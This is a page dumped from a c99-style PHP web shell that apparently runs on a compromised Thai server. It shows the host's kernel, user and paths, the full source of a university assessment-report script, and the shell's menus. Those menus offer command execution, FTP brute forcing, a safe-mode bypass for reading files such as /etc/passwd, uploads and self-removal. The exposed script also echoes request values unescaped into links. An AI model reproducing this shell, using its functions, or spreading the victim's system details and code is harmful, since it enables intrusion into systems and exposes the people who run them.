!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess/admin/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     esa_reportDataRQPjTep2.php (14.15 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
set_time_limit
(0);
include_once 
"../../class/clsDB.php";
include_once 
"../../class/clsConnection.php";
include_once 
"../global.php";
include_once 
"../link/function.php";
include_once 
"../class/clsReg_SysSemesterDes.php";
include_once 
"../class/clsDefineAssessment.php";
include_once 
"../class/clsAssessForm.php";

include_once 
"../class/clsSectionAll.php";
include_once 
"../class/clsSectionRQ.php";
include_once 
"../class/clsHeaderQuestion.php";
include_once 
"../class/clsHeaderScore.php";
include_once 
"../class/clsDetailScore.php";
include_once 
"../class/clsRadioQuestion.php";
include_once 
"../class/clsSectionAll.php";

include_once 
"../class/clsEsa_ResultRQPj.php";

$oCR = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_REG'], $GLOBALS['USER_REG'], $GLOBALS['PASSWORD_REG']);

$oCA = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);

$oAF = new AssessForm($oCA);
$oAF->RSAssessFormByAssid($assid);
$oAF->GetRecord();

$oSse = new SysSemesterDes($oCR);
$oSse->SearchByKey($semester);
$oSse->GetRecord();

$oDA = new DefineAssessment($oCA);
$oDA->SearchByDefineid($defineid);
$oDA->GetRecord();
if(!isset(
$acadYear))
    
$acadYear $oDA->acadYear;
if(!isset(
$semester))
    
$semester $oDA->semester;

//ค้นหาคำถามปลายเปิดในแบบประเมินนี้ sectionTQid = 1
$oSA = new SectionAll($oCA);
$CntSRQid $oSA->RSCountSectionRQid($assid);

$oRRQ = new ResultRQPj($oCA);

?>
<title>รายงานผลประเมินจำแนกตามหัวข้อการประเมิน (เฉพาะคำถามปลายปิด)</title>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<div id="tabmargin"><form name="pc" method="post" action="<?php echo $PHP_SELF;?>" enctype="multipart/form-data"><br>
<table width="94%" align="center" cellpadding="1" cellspacing="1"  bgcolor="#0080C0">
    <tr bgcolor="#FFFFFF">
        <td width="99%"><table width="95%" align="center" border="0" cellpadding="0" cellspacing="1">
            <tr> 
                <td><table border="0" align="center">
                    <tr> 
                        <td height="10"></td>
                    </tr>
                </table>
                <table width="100%" align="center"  cellpadding="1" cellspacing="1" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_6'];?>">
                    <tr>
                        <td height="22" align="center"><font size="2"><span class = "fontMark5">รายงานผลการประเมินจำแนกตามหัวข้อการประเมิน</span></font></td>
                    </tr>
                    <tr> 
                        <td height="22" align="center"><font size="2"> <span class = "fontMark6">  เฉพาะคำถามปลายปิด : ส่วนของคำถามชนิดให้เลือกตอบอย่างใดอย่างหนึ่ง</span></font></td>
                    </tr>
                </table>
                <table width="100%" border="0" align="center">
                    <tr>
                        <td height="25"><hr></td>
                    </tr>
                </table>
                <table width="100%" border="0" align="center">  
                    <tr> 
                        <td height="25" align="right"><font size="2"><span class = "fontMark5"><b> 
                        <a href = "reportDataRQCourseTep2_excel.php?defineid=<? echo $defineid ?>&assid=<? echo $assid ?>&classId=<? echo $classId ?>&courseId=<? echo $courseId ?>&officerId=<? echo $officerId?>&officerCode=<? echo $officerCode ?>&acadYear=<? echo  $acadYear ?>&semester=<? echo $semester ?>&programId=<?=$programId?>&ttId=<?=$ttId?>&mepId=<?=$mepId?>&sepId=<?=$sepId?>" target="_top"><img src="../picture/ico_excel.gif" border="0"> รูปแบบ  Excel </a></b></span></font></td>
                    </tr>
                </table>
                <br>
                <?  // -- Show Head Report --
                              
include_once "esa_headReport.php"
                 
?>
                <?
                
if($CntSRQid  0){ 
                    
$oSA = new SectionAll($oCA);
                    
$numSection$oSA->RSCountSectionAll($assid);
                    
$oSA->RSByKeyAss($assid);
                    
$i 1;
                    
$indexSection 1;
                    while (
$oSA->GetRecord()){
                        
/*---------------- กรณีที่เลือกเป็นคำถามชนิดปลายปิด------------------*/
                        
if($oSA->sectionRQid != '0'){
                            
//สร้าง oSRQ แสดงหัวข้อของส่วนการประเมิน
                            
$oSRQ = new SectionRQ($oCA);
                            
$oSRQ->RSSectionRQAll($assid,$oSA->sectionRQid);
                            while(
$oSRQ->GetRecord()){
                                
$oHQ = new HeaderQuestion($oCA);
                                
$oHQ->RSHeaderAllBySection($assid,$oSA->sectionRQid);
                                
$oHQ->GetRecord();                
                                
$oHS = new HeaderScore($oCA);
                                
$oHS->RSHeadSAll($oHQ->HSid);
                                
$oHS->GetRecord();
?>
<table width="100%">
                    <tr><td colspan="4">&nbsp;</td></tr>
                    <tr> 
                        <td width="8%" valign="top"><font size="2"><span class = "fontMarkTD1"><? if($numSection == '1') { echo "คำอธิบาย"; } else { echo "ส่วนที่ ".$indexSection; }?></span> : </font></td>
                        <td width="92%"><font size="2"><? echo $oSRQ->topicSectionRQ ?></font></td>
                    </tr>
                </table>
                <table width="100%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#666666">
                    <tr> 
                        <td width="68%" rowspan="3" align="center" bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_1"];?>"><font size="2"><b><? echo $oHQ->HQtext ?></b></font></td>
                        <td width="16%" colspan="<? echo $oHS->score_amount*2 ?>" align="center" bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_1"];?>"><font size="2"><b>  คะแนนการประเมิน </b></font></td>
                        <td width="6%" align="center" rowspan="3"  bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_1"];?>"><font size="2"><b>ค่าเฉลี่ย</b></font></td>
                        <td width="6%" align="center" rowspan="3"  bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_1"];?>"><font size="2"><b>S.D.</b></font></td>
                    </tr>
                    <tr>
<?
                        $ch 
0;
                        
$oDS = new DetailScore($oCA);
                        
$oDS->RSDetailSAll($oHS->HSid);
                        while(
$oDS->GetRecord()){
                            if(
$ch==0)
                                    
$full $oDS->CTLast;
                            
$ch++;
?>
                        <td height="23" colspan="2" align="center" bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_1"];?>"><font size="2"><b><? echo $oDS->score ?> </b></font></td>
<?
                        
}
?>
                    </tr>
                    <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_7"];?>">
<?
                        
for($i=0;$i<$oHS->score_amount;$i++){
?>
                        <td height="22" align="center"><font size="2"><font size="2"><b>จำนวน</b></font></font></td>
                        <td width="4%" height="22" align="center"><font size="2">&nbsp;&nbsp;&nbsp;<b>%</b>&nbsp;&nbsp;&nbsp;</font></td>
<?
                        
}
?>
                    </tr>
<?
                    $index1 
1$index2 1;
                    
$index_color1 1$index_color2 1;
                    
$CntSubQ 0;  $xbar 0;  $sd 0;
                    
/*--------------------------------------------------------- คำนวนส่วนของคำถามข้อหลัก -------------------------------------------------------*/
                    
$oRQ = new RadioQuestion($oCA);
                    
$oRQ->RSRadioQByKey($assid,$oSA->sectionRQid,1);
                    while(
$oRQ->GetRecord()){
                        
$oCntRQ = new RadioQuestion($oCA);
                        
$CntSubQ $oCntRQ->RSCountSubRQid($assid,$oRQ->RQid,'2');
                        
                        if(
$index_color2%== 0){//EEF2FB
                            
if($index_color1%== 0){
                                echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_5"].'">';
                            }else{
                                echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_4"].'">';
                            }
                        }else{
                            if(
$index_color1%== 0){
                                echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_4"].'">';
                            }else{
                                echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_5"].'">';
                            }
                        }
?>
                        <td><font size="2"><? echo $index1."." ?> <? echo $oRQ->nameRQ;//.' - RQID = '.$oRQ->RQid; ?></font>
                        <? if($oRQ->subtract == -1) { ?><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_7"]; ?>"> * </font> <? ?>                        </td>
<?
                        
if($oRQ->subtract == -1){
                            
$oDS->RSDetailSAllDESC($oHS->HSid);
                        }else{
                            
$oDS->RSDetailSAll($oHS->HSid);
                        }
                        while(
$oDS->GetRecord()){  
                            
$countPointRQ $oRRQ->CountPoint($acadYear$semester$assid,$oRQ->RQid,$defineid,$pjid,'%',$oDS->score);
                            
$AvgCountPointRQ = ($countPointRQ/$numDoAss)*100;
?>         
                        <td align="center">
                        <? if(($CntSubQ == 0)&&($numDoAss '0')) echo $countPointRQ ?>
                        <? if(($CntSubQ == '0')&&($numDoAss == '0')) echo "-"?>                        </td>
                        <td align="center"><font size="2">
                        <? if(($CntSubQ == 0)&&($numDoAss '0')) printf ("%.2f",$AvgCountPointRQ); ?>
                        <? if(($CntSubQ == '0')&&($numDoAss == '0')) echo "-"?>
                        </font></td>
<?
                        
// end while oDS
                        
                        
if($CntSubQ == 0){    
                            
//คิดค่าเฉลี่ยและค่า sd ของคำถามข้อหลัก 
                            
$oRRQ->RSXbarSD($acadYear$semester$assid,$defineid,$pjid,'%'$oRQ->RQid$oSA->sectionRQid);
                            if(
$oRRQ->GetRecord()){
                                
$xbar $oRRQ->xbar;
                                
$sd $oRRQ->sd;
                            }
                        }
?>
                        <td align="center"> 
                        <? if($xbar != 0) echo substr($xbar,0,4);?>
                        <? if(($CntSubQ == 0)&&($numDoAss == 0)) echo "-"?>                        </td>
                        <td align="center">
                        <? if($xbar != 0)  echo number_format($sd,2); ?>
                        <? if(($CntSubQ == 0)&&($numDoAss == 0)) echo "-"?>                        </td>
                    </tr>
<?  /*--------------------------------------------------------- คำนวนส่วนของคำถามข้อย่อย-------------------------------------------------------*/
                        
$xbarSub 0;  $sdSub 0;
                        
$sumXbarSub 0;
                        
$sumSDSub 0;
                        
$ocRQ = new RadioQuestion($oCA);
                        
$ocRQ->RSCheckLevel($assid,$oRQ->RQid);
                        while(
$ocRQ->GetRecord()){                
                            if(
$index_color1%== 0){//EEF2FB
                                
if($index_color2%== 0){
                                    echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_4"].'">';
                                }else{
                                    echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_5"].'">';
                                }
                            }else{
                                if(
$index_color2%== 0){
                                    echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_5"].'">';
                                }else{
                                    echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_4"].'">';
                                }
                            }                    
?>
                        <td><? echo "<img src=\"../picture/blank1.gif\"border=\"0\">".$index1.".".$index2 ?>
                        <? echo $ocRQ->nameRQ;//.' - RQID = '.$oRQ->RQid.' - subRQID = '.$ocRQ->RQid ?>
                        <? if($ocRQ->subtract == -1) { ?><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_7"]; ?>"> * </font>
                        <? ?></td>
<?
                            
if($ocRQ->subtract == -1){
                                
$oDS->RSDetailSAllDESC($oHS->HSid);
                            }else{
                                
$oDS->RSDetailSAll($oHS->HSid);
                            }
                            while(
$oDS->GetRecord()){  
                                
$countPointRQ $oRRQ->CountPoint($acadYear$semester$assid,$ocRQ->RQid,$defineid,$pjid,'%',$oDS->score);
                                
$AvgCountPointRQ = ($countPointRQ/$numDoAss)*100;
?>                 
                        <td align="center"><? if($numDoAss '0') echo $countPointRQ ?>
                        <? if($numDoAss == '0') echo "-"?></td>
                        <td align="center"><font size="2"><? if($numDoAss '0'printf ("%.2f",$AvgCountPointRQ); ?> 
                        <? if($numDoAss == '0') echo "-"?>
                        </font></td>
<?
                            
}    // end while oDS
                            
                            //คิดค่าเฉลี่ยและค่า sd ขอคำถามข้อย่อย
                            
$oRRQ->RSXbarSD($acadYear$semester$assid,$defineid,$pjid,'%'$ocRQ->RQid$oSA->sectionRQid);
                            if(
$oRRQ->GetRecord()){
                                
$xbarSub $oRRQ->xbar;
                                
$sdSub $oRRQ->sd;
                                
$sumXbarSub += $oRRQ->xbar;
                                
$sumSDSub += $oRRQ->sd;
                            }
?>
                        <td align="center"> 
                        <? if($xbarSub != 0) echo substr($xbarSub04); ?>
                        <? if($numDoAss == '0') echo "-"?>                        </td>
                        <td align="center"> 
                        <? if($xbarSub != 0) echo number_format($sdSub,2);?>
                        <? if($numDoAss == '0') echo "-"?>                        </td>
                    </tr>
<?
                            $index2
++;
                            
$index_color2++;    
                        } 
//end while ocRQ    
                        
$index1++;
                        
$index2 1;
                        
$index_color1++;
                        
                        if(
$CntSubQ) {
?>
                    <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_1"];?>">
                        <td height="22" align="center"><font size="2"><b>รวม</b></font></td>
<?php
                            
for($col=0$col<$oDS->GetRowSelected(); $col++) {
?>
                        <td></td>
                        <td></td>
<?php
                            
}
?>
                        <td align="center"><font size="2"><b><?php echo substr($sumXbarSub/$CntSubQ0,4); //number_format($sumXbarSub/$CntSubQ, 2);?></b></font></td>
                        <td align="center"><font size="2"><b><?php echo number_format($sumSDSub/$CntSubQ2);?></b></font></td>
                    </tr>
<?php
                        
}
                    } 
//end while oRQ
?>
                    <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_1"];?>">
                        <td height="22" align="center"><font size="2"><b>ภาพรวม</b></font></td>
<?php
                        
for($col=0$col<$oDS->GetRowSelected(); $col++) {
?>
                        <td></td>
                        <td></td>
<?php
                        
}
                        
$oRRQ->RSXbarSD($acadYear$semester$assid,$defineid,$pjid,'%''%'$oSA->sectionRQid);
                        
$oRRQ->GetRecord();
?>
                        <td align="center"><font size="2"><b><?php echo substr($oRRQ->xbar04);?></b></font></td>
                        <td align="center"><font size="2"><b><?php echo number_format($oRRQ->sd2);?></b></font></td>
                    </tr>
                </table>
                <br>
<?
                            
//end while oSRQ
                        
// end if oSA
                        
$indexSection++;
                    } 
//end while oSA 
$oRRQ->RSXbarSD($acadYear$semester$assid,$defineid,$pjid,'%''%''%');
//$oRRQ->SumXbarSD($acadYear, $semester, $assid,$defineid, $courseId, $classId, $officerId, $ttId,$mepId,$sepId);
$oRRQ->GetRecord();

    
?>
                <table width="100%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="silver">
                     <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_1"];?>"> 
                      <td width=""  height="22" ><div align="right"><font size="2"><b>รวมทั้งหมด</b>&nbsp;</font></div></td>
                      <td width="5%" align="center"><b><? echo substr($oRRQ->xbar04?></b></td>
                      <td width="5%" align="center"><b><? echo number_format($oRRQ->sd,2); ?></b></td>

                    </tr>
                </table>

                <table width="100%" border="0" align="center">
                    <tr> 
                        <td colspan="2"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_5"];?>"><b>หมายเหตุ 
                        :</b>&nbsp;&nbsp; * หมายถึงเป็นคำถามเชิงลบ โดยกรณีที่เป็นคำถามเชิงลบในข้อนั้นๆ 
                        ค่าเฉลี่ยและค่า S.D. จะคำนวณโดยกลับค่าให้แล้ว </font><font size="2">&nbsp;</font></td>
                    </tr>
                    <tr> 
                        <td width="64" height="24">&nbsp;</td>
                        <td>&nbsp;</td>
                    </tr>
                </table>
<?
                
} else {
?>
                <table width="100%">
                    <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_5'];?>">     
                        <td align="center"> <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">** ไม่พบข้อมูลเนื่องจากแบบประเมินที่สร้างไม่มีส่วนของคำถามปลายปิด **</font></td>
                    </tr>
                </table>
<?
                
}
                
set_time_limit(30);
?>
                </td>
            </tr>
        </table></td>
    </tr>
</table>
</form><br></div>
</body>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0171 ]--